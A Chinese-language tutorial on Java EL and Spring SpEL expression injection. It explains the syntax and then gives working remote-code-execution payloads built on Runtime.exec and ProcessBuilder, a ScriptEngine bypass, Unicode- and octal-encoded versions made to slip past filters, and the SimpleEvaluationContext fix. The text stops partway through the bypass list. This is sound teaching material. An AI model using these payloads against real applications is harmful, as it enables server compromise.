表达式注入

这篇文章主要介绍EL表达式注入和SPEL表达式注入

EL 表达式注入

EL(Expression Language)表达式是一种在Java EE(Java Platform, Enterprise Edition)中使用的表达式语言,主要用于简化JSP(JavaServer Pages)页面中的数据访问和表达式计算。EL表达式使得开发者可以在JSP页面中更方便地访问JavaBeans组件、集合、隐式对象等。

EL表达式的基本语法如下:

1
${expression}F

其中,expression是一个可以计算的表达式。EL表达式可以包含变量、运算符、方法调用等。

主要特点和用途

  1. 简化数据访问:EL表达式可以简化对JavaBeans属性的访问,例如:

    1
    ${user.name}

    这行代码会自动调用user对象的getName()方法。

  2. 集合访问:EL表达式可以方便地访问集合(如List、Map)中的元素,例如:

    1
    2
    ${myList[0]}
    ${myMap['key']}
  3. 隐式对象:EL表达式提供了一些隐式对象,如paramrequestScopesessionScope等,用于访问请求参数、请求范围、会话范围等数据。

  4. 运算符:EL表达式支持各种运算符,包括算术运算符、关系运算符、逻辑运算符等。

示例

假设有一个名为user的JavaBean对象,其中包含nameage属性,可以在JSP页面中使用EL表达式来显示这些属性:

1
2
3
4
5
6
7
<html>
<body>
<h1>User Information</h1>
<p>Name: ${user.name}</p>
<p>Age: ${user.age}</p>
</body>
</html>

在这个例子中,${user.name}${user.age}会分别调用user对象的getName()getAge()方法,并将结果显示在页面上。

EL表达式在JSP开发中非常有用,它简化了代码,提高了开发效率,并且使得JSP页面更加清晰和易于维护。

基础语法

获取变量

  1. Page Scope(页面作用域)

    • 作用域范围:仅在当前JSP页面内有效。
    • 隐式对象:pageScope
    • 示例:${pageScope.myVariable}
  2. Request Scope(请求作用域)

    • 作用域范围:在一次HTTP请求内有效,包括请求转发。
    • 隐式对象:requestScope
    • 示例:${requestScope.myVariable}
  3. Session Scope(会话作用域)

    • 作用域范围:在一次用户会话内有效,通常跨越多个请求。
    • 隐式对象:sessionScope
    • 示例:${sessionScope.myVariable}
  4. Application Scope(应用作用域)

    • 作用域范围:在整个Web应用程序内有效,所有用户共享。
    • 隐式对象:applicationScope
    • 示例:${applicationScope.myVariable}

如果没有指定作用域,EL表达式会按照以下顺序查找变量:

  1. Page Scope
  2. Request Scope
  3. Session Scope
  4. Application Scope

例如:

1
${myVariable}

EL表达式会依次在Page Scope、Request Scope、Session Scope和Application Scope中查找myVariable,并返回第一个找到的值。

示例

假设在Request Scope中有一个名为user的变量,可以在JSP页面中使用EL表达式来访问它:

1
2
3
4
5
6
7
<html>
<body>
<h1>User Information</h1>
<p>Name: ${user.name}</p>
<p>Age: ${user.age}</p>
</body>
</html>

在这个例子中,${user.name}${user.age}会自动在Request Scope中查找user对象,并调用其getName()getAge()方法。

操作符

类型 符号
算术型 +、-(二元)、*、/、div、%、mod、-(一元)
逻辑型 and、&&、or、双管道符、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

  1. 在EL(Expression Language)表达式中,隐式对象是预定义的变量,用于访问特定的数据或对象。这些隐式对象提供了对请求参数、请求头、作用域变量等的便捷访问方式。以下是一些常用的EL隐式对象:

    1. 作用域相关的隐式对象

    • **pageScope**:用于访问Page Scope中的变量。

      1
      ${pageScope.myVariable}
    • **requestScope**:用于访问Request Scope中的变量。

      1
      ${requestScope.myVariable}
    • **sessionScope**:用于访问Session Scope中的变量。

      1
      ${sessionScope.myVariable}
    • **applicationScope**:用于访问Application Scope中的变量。

      1
      ${applicationScope.myVariable}

    2. 请求相关的隐式对象

    • **param**:用于访问请求参数的单个值。

      1
      ${param.username}
    • **paramValues**:用于访问请求参数的所有值(适用于多值参数)。

      1
      ${paramValues.hobbies[0]}
    • **header**:用于访问请求头的单个值。

      1
      ${header['User-Agent']}
    • **headerValues**:用于访问请求头的所有值(适用于多值头)。

      1
      ${headerValues['Accept-Language'][0]}

    3. 其他隐式对象

    • **initParam**:用于访问Web应用程序的初始化参数。

      1
      ${initParam.myInitParam}
    • **cookie**:用于访问请求中的cookie值。

      1
      ${cookie.myCookie.value}
    • **pageContext**:用于访问JSP页面的PageContext对象,提供了对其他隐式对象的访问。

      1
      ${pageContext.request.contextPath}

    示例

    假设有一个表单提交,请求参数中包含username,可以在JSP页面中使用EL表达式来获取该参数的值:

    1
    2
    3
    4
    5
    <html>
    <body>
    <h1>Welcome, ${param.username}!</h1>
    </body>
    </html>

    在这个例子中,${param.username}会自动获取请求参数username的值,并显示在页面上。

在EL(Expression Language)中,函数是一种可以被调用的代码单元,用于执行特定的操作或计算。EL函数通常与自定义标签库(Tag Library)一起使用,这些函数可以在JSP页面中通过特定的语法进行调用。

函数

定义EL函数

EL函数通常在自定义标签库描述文件(Tag Library Descriptor, TLD)中定义。TLD文件是一个XML文件,用于描述标签库中的标签和函数。

以下是一个简单的TLD文件示例(在 WEB-INF 文件夹下),定义了一个名为toUpperCase的EL函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
version="2.0">
<tlib-version>1.0</tlib-version>
<short-name>MyFunctions</short-name>
<uri>http://example.com/myfunctions</uri>
<function>
<name>toUpperCase</name>
<function-class>com.example.MyFunctions</function-class>
<function-signature>java.lang.String toUpperCase(java.lang.String)</function-signature>
</function>
</taglib>

在这个示例中:

  • <name>元素定义了函数的名称,这里是toUpperCase
  • <function-class>元素指定了实现该函数的Java类的全限定名。
  • <function-signature>元素指定了函数的签名,包括返回类型和参数类型。

实现EL函数

在Java类中实现EL函数,例如:

1
2
3
4
5
6
7
8
9
10
package com.example;

public class MyFunctions {
public static String toUpperCase(String input) {
if (input == null) {
return null;
}
return input.toUpperCase();
}
}

在JSP中使用EL函数

在JSP页面中使用EL函数之前,需要先导入标签库。可以使用<%@ taglib %>指令来导入标签库:

1
<%@ taglib prefix="my" uri="http://example.com/myfunctions" %>

然后,可以在JSP页面中使用EL表达式调用该函数:

1
2
3
4
5
<html>
<body>
<h1>Uppercase: ${my:toUpperCase("hello world")}</h1>
</body>
</html>

在这个示例中,${my:toUpperCase("hello world")}会调用MyFunctions类中的toUpperCase方法,并将结果显示在页面上。

禁用/启用EL表达式

全局禁用EL表达式

web.xml 中进入如下配置:

1
2
3
4
5
6
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>

单个文件禁用EL表达式

在JSP文件中可以有如下定义:

1
<%@ page isELIgnored="true" %>

该语句表示是否禁用EL表达式,TRUE 表示禁止,FALSE 表示不禁止。

JSP2.0 中默认的启用EL表达式。

EL注入漏洞

EL表达式注入漏洞和 SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的,EL表达式注入漏洞的外部可控点入口都是在 Java 程序代码中,即 Java 程序中的EL表达式内容全部或部分是从外部获取的。

通用 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

这个payload是一个典型的Java表达式语言(EL)注入攻击的例子。它利用了Java的反射机制来执行系统命令。下面是对这个payload的详细分析:

  1. ${...}: 这是Java表达式语言(EL)的语法,用于在JSP页面中动态求值。

  2. pageContext.setAttribute("a", ...): 这行代码的目的是在pageContext对象上设置一个名为a的属性。这个属性的值是通过后面的表达式计算得出的。

  3. "".getClass().forName("java.lang.Runtime"): 这部分代码通过空字符串""获取String类的类对象,然后调用forName方法加载java.lang.Runtime类。java.lang.Runtime类提供了与运行时环境交互的方法。

  4. getMethod("exec", "".getClass()): 这部分代码获取java.lang.Runtime类中的exec方法,该方法用于执行系统命令。"".getClass()返回String类的类对象,作为exec方法的参数类型。

  5. invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "calc.exe"): 这部分代码执行以下步骤:

    • "".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null): 获取java.lang.Runtime类的getRuntime方法,并调用它以获取Runtime实例。getRuntime方法是静态的,所以invoke(null)调用它。
    • invoke(..., "calc.exe"): 使用上一步获取的Runtime实例调用exec方法,并传入参数"calc.exe"。这实际上是在执行系统命令calc.exe,通常是启动Windows计算器应用程序。

总结来说,这个payload的目的是通过Java反射机制在服务器上执行系统命令calc.exe

绕过

基础 EXP

1
"${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"

利用 ScriptEngine 调用 JS 引擎绕过

导入依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-spi</artifactId>
<version>2.2.7</version>
</dependency>

当然,以下是给你的代码添加注释的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package demo3;

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class test {
public static void main(String[] args) {
// 创建一个表达式工厂实例,用于创建和解析表达式。
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();

// 创建一个简单的上下文实例,用于提供表达式计算的上下文环境。
SimpleContext simpleContext = new SimpleContext();

// failed
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
// 定义一个表达式字符串,该表达式使用JavaScript引擎执行系统命令
// ok
String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}";

// 使用表达式工厂创建一个值表达式
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);

// 计算并获取表达式的值,并打印结果
System.out.println(valueExpression.getValue(simpleContext));
}
}

POC解释

1
${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}

这一段代码是一个Java表达式语言(EL)字符串,它利用了Java的脚本引擎来执行系统命令。以下是对这段代码的详细解释:

  1. **${}**:这是Java表达式语言(EL)的语法,用于在字符串中嵌入表达式,并计算表达式的值。

  2. **''.getClass()**:这是一个空字符串('')调用 getClass() 方法,返回 String 类的 Class 对象。这里使用空字符串只是为了获取 Class 对象,实际上任何对象都可以用来调用 getClass()

  3. **.forName("javax.script.ScriptEngineManager")**:调用 Class 对象的 forName 方法,加载 javax.script.ScriptEngineManager 类。这个类是Java脚本API的一部分,用于管理脚本引擎。

  4. **.newInstance()**:调用 ScriptEngineManager 类的 newInstance 方法,创建一个新的 ScriptEngineManager 实例。

  5. **.getEngineByName("JavaScript")**:调用 ScriptEngineManager 实例的 getEngineByName 方法,获取名为 “JavaScript” 的脚本引擎。Java支持多种脚本语言,这里指定使用JavaScript引擎。

  6. **.eval("java.lang.Runtime.getRuntime().exec('Calc.exe')")**:调用JavaScript引擎的 eval 方法,执行一段JavaScript代码。这段JavaScript代码调用了Java的 Runtime 类的 exec 方法,执行系统命令 Calc.exe

总结

这段代码的目的是通过Java的脚本引擎执行系统命令 Calc.exe。虽然这段代码在技术上是可行的,但它展示了如何通过Java表达式语言执行任意系统命令,这在实际应用中是非常危险的,因为它可能导致安全漏洞。在生产环境中,应严格限制和审查表达式的内容,避免执行任意系统命令。

利用 Unicode 编码绕过

1
2
// Unicode编码内容为前面反射调用的PoC
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d

利用八进制编码绕过

1
2
// 八进制编码内容为前面反射调用的PoC
\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175

SPEL表达式注入

介绍

Spring Expression Language(SPEL)是一种功能强大的表达式语言,用于在运行时查询和操作对象图。它是Spring框架的一部分,旨在提供一种简洁而灵活的方式来处理复杂的表达式求值。

SPEL的主要特点包括:

  1. 灵活性:支持字面量、属性、方法、数组、列表、内联列表、内联数组、三元运算符、正则表达式等多种表达式。
  2. 类型支持:允许访问类静态方法和常量。
  3. 集合操作:支持对集合进行过滤、投影等操作。
  4. 模板表达式:允许混合字面量和表达式,使得配置更加灵活。

SPEL的应用场景包括:

  • Spring配置文件:在XML或注解配置中使用SPEL进行动态配置。
  • Spring Security:用于定义安全规则和权限检查。
  • Spring Data:在查询和条件表达式中使用SPEL。

通过SPEL,开发者可以编写简洁而强大的表达式,从而在运行时动态地处理数据和逻辑。

SpEL 表达式基础

SPEL定界符

在Spring Expression Language(SPEL)中,定界符(Delimiter)用于标识表达式的开始和结束。SPEL的默认定界符是#{}。这意味着当在Spring配置文件或注解中使用SPEL表达式时,需要将表达式放在#{}之间。

例如,在Spring配置文件中,可以这样使用SPEL表达式:

1
2
3
<bean id="exampleBean" class="com.example.ExampleBean">
<property name="message" value="#{systemProperties['user.name']}" />
</bean>

在这个例子中,#{systemProperties['user.name']}是一个SPEL表达式,它从系统属性中获取当前用户的用户名。

在注解中,SPEL表达式的使用方式类似:

1
2
@Value("#{systemProperties['user.name']}")
private String userName;

这里,@Value注解用于注入一个值,而#{systemProperties['user.name']}是一个SPEL表达式,用于获取系统属性中的用户名。

总结来说,SPEL的定界符是#{},它用于标识表达式的边界,使得Spring能够识别并解析其中的表达式。

SPEL表达式类型

字面量表达式

这些字面量表达式可以直接在 SpEL 中使用,例如在 Spring 的配置文件或注解中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Value("#{'Hello, World!'}")
private String greeting;

@Value("#{42}")
private int magicNumber;

@Value("#{3.14}")
private double pi;

@Value("#{true}")
private boolean isActive;

@Value("#{null}")
private Object emptyObject;

通过这些字面量表达式,可以在运行时将这些固定值注入到 Spring 管理的 Bean 中。

属性表达式

1
2
3
4
5
6
7
8
9
10
11
12
public class User2 {
int age=17;
}
public class User{
public User2 user2=new User2(18);

@Value("#{user2.age}")
public int age;
}

输出:
User{age=17}

方法表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class User2 {
int age=17;

public int print(){
System.out.println("cmisl");
return 0;
}
}

public class User{
public User2 user2=new User2(18);

@Value("#{user2.print()}")
public int age;
}

输出:
cmisl
User{age=0}

操作符表达式

  • 算术操作符:例如 a + bc - d
  • 比较操作符:例如 a > bc == d
  • 逻辑操作符:例如 a and bc or d
  • 正则表达式:例如 name matches 'John.*'
  • 三元操作符:例如 condition ? trueExpression : falseExpression
  • Elvis 操作符:例如 name ?: 'Unknown'
  • 安全导航操作符:例如 user?.name,避免 NullPointerException
1
2
3
4
5
6
public class User{
@Value("#{2>1}")
public boolean aBoolean;
}
输出:
true

类型表达式

在 SpEL 表达式中,使用 T(Type) 运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。

假设我们有一个类 Constants,其中包含一个静态字段 MAX_VALUE

1
2
3
java复制public class Constants {
public static final int MAX_VALUE = 100;
}

我们可以使用SpEL来获取这个静态字段的值。在Spring配置中,我们可以这样写:

1
2
java复制@Value("#{T(com.example.Constants).MAX_VALUE}")
private int maxValue;

在这个例子中:

  • T(com.example.Constants) 是SpEL的类型表达式,用于引用 Constants 类。
  • .MAX_VALUE 用于访问 Constants 类中的静态字段 MAX_VALUE

这样,maxValue 字段将被注入 Constants.MAX_VALUE 的值,即 100

使用 T(Type) 来表示 java.lang.Class 实例,Type 必须是类全限定名,但 ”java.lang” 包除外,因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。

这里就有潜在的攻击面了
因为我们 java.lang.Runtime 这个包也是包含于 java.lang 的包的,所以如果能调用 Runtime
就可以进行命令执行

1
2
3
4
5
6
7
8
public class test {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();

String expression = "T(java.lang.Runtime).getRuntime().exec('calc')";
Class<Object> result = parser.parseExpression(expression).getValue(Class.class);
}
}
1
2
3
4
public class user{
@Value("#{T(java.lang.Runtime).getRuntime.exec('calc')}")
public int age;
}

SpEL 用法

Spring Expression Language (SpEL) 是一种强大的表达式语言,支持在运行时查询和操作对象图。SpEL 可以用于多种场景,包括但不限于以下三种主要用法:

  1. 在Spring配置文件中使用SpEL

    • 在Spring的XML配置文件或注解中使用SpEL表达式来动态设置Bean的属性值。
    • 例如,在XML配置文件中:
      1
      2
      3
      <bean id="exampleBean" class="com.example.ExampleBean">
      <property name="message" value="#{systemProperties['user.name']}" />
      </bean>
    • 在注解中:
      1
      2
      @Value("#{systemProperties['user.name']}")
      private String message;
  2. 在Java代码中使用SpEL

    • 在Java代码中通过 ExpressionParserSpelExpressionParser 解析和执行SpEL表达式。
    • 例如:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      import org.springframework.expression.ExpressionParser;
      import org.springframework.expression.spel.standard.SpelExpressionParser;

      public class SpelExample {
      public static void main(String[] args) {
      ExpressionParser parser = new SpelExpressionParser();
      String expression = "('Hello' + ' World').toUpperCase()";
      String result = parser.parseExpression(expression).getValue(String.class);
      System.out.println(result); // 输出: HELLO WORLD
      }
      }
  3. 在Spring Security中使用SpEL

    • Spring Security 支持使用SpEL来定义安全规则和访问控制。
    • 例如,在Spring Security配置中:
      1
      2
      3
      4
      5
      6
      7
      http
      .authorizeRequests()
      .antMatchers("/admin/**").hasRole("ADMIN")
      .antMatchers("/user/**").access("hasRole('USER') and authentication.name == 'user'")
      .anyRequest().authenticated()
      .and()
      .formLogin();
    • 在这个例子中,access 方法使用了SpEL表达式来定义访问控制规则。

总结:

  • SpEL 可以在Spring配置文件中动态设置属性值。
  • SpEL 可以在Java代码中解析和执行表达式。
  • SpEL 可以在Spring Security中定义安全规则和访问控制。

恶意指令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package poc;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class test {
public static void main(String[] args) {
// 创建一个 SpEL 表达式解析器实例
ExpressionParser parser = new SpelExpressionParser();

// 定义一个包含 SpEL 表达式的字符串,该表达式将执行系统命令 'calc'
String spel = "T(java.lang.Runtime).getRuntime().exec('calc')";

// 解析 SpEL 表达式字符串并生成一个 Expression 对象
Expression expression = parser.parseExpression(spel);

// 计算并输出表达式的值,这将执行系统命令 'calc'
System.out.println(expression.getValue());
}
}

创建类实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package demo1;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class test {
public static void main(String[] args) {
// 定义一个包含 SpEL 表达式的字符串,该表达式将创建一个新的 java.util.Date 对象
String spel = "new java.util.Date()";

// 创建一个 SpEL 表达式解析器实例
ExpressionParser parser = new SpelExpressionParser();

// 解析 SpEL 表达式字符串并生成一个 Expression 对象
Expression expression = parser.parseExpression(spel);

// 计算并输出表达式的值,这将输出当前的日期和时间
System.out.println(expression.getValue());
}
}

SpEL运算

基本运算

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches

以下是使用 SpEL 表达式 #{} 的形式来表示各种运算的示例:

算数运算
1
2
3
4
5
6
#{1 + 2} // 加法
#{3 - 1} // 减法
#{2 * 3} // 乘法
#{6 / 2} // 除法
#{5 % 2} // 取模
#{2 ^ 3} // 幂运算
关系运算
1
2
3
4
5
6
7
8
9
10
#{3 < 5} // 小于
#{5 > 3} // 大于
#{3 == 3} // 等于
#{3 <= 3} // 小于等于
#{5 >= 5} // 大于等于
#{3 lt 5} // 小于 (同 <)
#{5 gt 3} // 大于 (同 >)
#{3 eq 3} // 等于 (同 ==)
#{3 le 3} // 小于等于 (同 <=)
#{5 ge 5} // 大于等于 (同 >=)
逻辑运算
1
2
3
4
#{true and false} // 逻辑与
#{true or false} // 逻辑或
#{not true} // 逻辑非
#{!false} // 逻辑非 (同 not)
条件运算
1
2
#{2 > 1 ? 'yes' : 'no'} // 三元运算符
#{name ?: 'default'} // Elvis 运算符
正则表达式
1
#{'hello' matches 'h.*o'} // 正则表达式匹配

集合操作

1. 访问集合元素

可以使用索引来访问列表或数组中的元素。例如:

1
2
3
4
5
6
7
List<String> list = new ArrayList<>();
list.add("apple");
list.add("banana");
list.add("cherry");

String fruit = parser.parseExpression("#list[1]").getValue(context, list);
// fruit = "banana"
2. 映射操作

可以使用键来访问映射中的值。例如:

1
2
3
4
5
6
Map<String, String> map = new HashMap<>();
map.put("fruit1", "apple");
map.put("fruit2", "banana");

String fruit = parser.parseExpression("#map['fruit2']").getValue(context, map);
// fruit = "banana"
3. 集合过滤

可以使用 ?[] 运算符来过滤集合中的元素。例如:

1
2
3
4
List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5);

List<Integer> evenNumbers = (List<Integer>) parser.parseExpression("#numbers.?[#this % 2 == 0]").getValue(context, numbers);
// evenNumbers = [2, 4]
4. 集合投影

可以使用 ![] 运算符来选择集合中的特定属性。例如:

1
2
3
4
5
6
7
8
9
10
11
class Person {
private String name;
private int age;

// getters and setters
}

List<Person> people = Arrays.asList(new Person("Alice", 30), new Person("Bob", 25));

List<String> names = (List<String>) parser.parseExpression("#people.![name]").getValue(context, people);
// names = ["Alice", "Bob"]
5. 集合排序

可以使用 sort() 方法对集合进行排序。例如:

1
2
3
4
List<Integer> numbers = Arrays.asList(5, 3, 1, 4, 2);

List<Integer> sortedNumbers = (List<Integer>) parser.parseExpression("#numbers.sort()").getValue(context, numbers);
// sortedNumbers = [1, 2, 3, 4, 5]
6. 集合聚合

可以使用聚合函数(如 min()max()average())来处理集合。例如:

1
2
3
4
List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5);

int maxNumber = parser.parseExpression("#numbers.max()").getValue(context, numbers, Integer.class);
// maxNumber = 5
7. 集合转换

可以使用 collect() 方法将集合转换为另一种类型。例如:

1
2
3
4
List<String> names = Arrays.asList("Alice", "Bob");

List<Integer> lengths = (List<Integer>) parser.parseExpression("#names.collect(name -> name.length())").getValue(context, names);
// lengths = [5, 3]
完整代码参考
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package demo1;

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

import java.util.ArrayList;
import java.util.List;

public class test {
public static void main(String[] args) {
// 创建一个列表
List<String> list = new ArrayList<>();
list.add("apple");
list.add("banana");
list.add("cherry");

// 创建一个SpEL表达式解析器
ExpressionParser parser = new SpelExpressionParser();

// 创建一个评估上下文
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("list", list);

// 解析表达式并获取值
String fruit = parser.parseExpression("#list[1]").getValue(context, String.class);

// 输出结果
System.out.println("Fruit: " + fruit); // 输出: Fruit: banana
}
}

自定义方法

首先,需要定义一个静态方法,这个方法将作为自定义函数。接下来,需要在SpEL的评估上下文中注册这个自定义函数。可以使用 StandardEvaluationContextregisterFunction 方法来完成这个任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package demo3;

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

import java.lang.reflect.Method;

public class SpELExample {
public static void main(String[] args) {
// 创建一个SpEL表达式解析器
ExpressionParser parser = new SpelExpressionParser();

// 创建一个评估上下文
StandardEvaluationContext context = new StandardEvaluationContext();

// 注册自定义函数
try {
Method reverseStringMethod = CustomFunctions.class.getDeclaredMethod("reverseString", String.class);
context.registerFunction("reverseString", reverseStringMethod);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}

// 解析表达式并获取值
String result = parser.parseExpression("#reverseString('hello')").getValue(context, String.class);

// 输出结果
System.out.println("Result: " + result); // 输出: Result: olleh
}
}

class CustomFunctions {
public static String reverseString(String input) {
return new StringBuilder(input).reverse().toString();
}
}

SPEL注入漏洞

原理

SimpleEvaluationContext 和 StandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext:

  • SimpleEvaluationContext:针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。它旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用。

  • StandardEvaluationContext:公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

由于 SpEL 表达式可以操作类及其方法,可以通过类类型表达式 T(Type) 来调用任意类方法,这是因为在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,而它包含了 SpEL 的所有功能。在允许用户控制输入的情况下,这可能导致任意命令执行。

例如,以下代码展示了如何使用 SpEL 表达式执行系统命令:

1
2
3
4
5
6
7
8
public class BasicCalc {  
public static void main(String[] args) {
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

在这个例子中,SpEL 表达式 T(java.lang.Runtime).getRuntime().exec("calc") 被解析并执行,导致计算器程序(在 Windows 系统上)被启动。

为了防止这种安全风险,可以使用 SimpleEvaluationContext 来限制表达式的功能,避免执行危险的操作:

1
2
3
4
5
6
7
8
9
public class BasicCalc {  
public static void main(String[] args) {
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new SimpleEvaluationContext.Builder().build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));
}
}

在这个修改后的例子中,使用 SimpleEvaluationContext 来解析和执行表达式,由于 SimpleEvaluationContext 不支持 Java 类型引用和构造函数,因此表达式 T(java.lang.Runtime).getRuntime().exec("calc") 将无法执行,从而避免了安全风险。

POC

1
2
3
4
5
6
7
8
9
// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Bypass技巧

// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
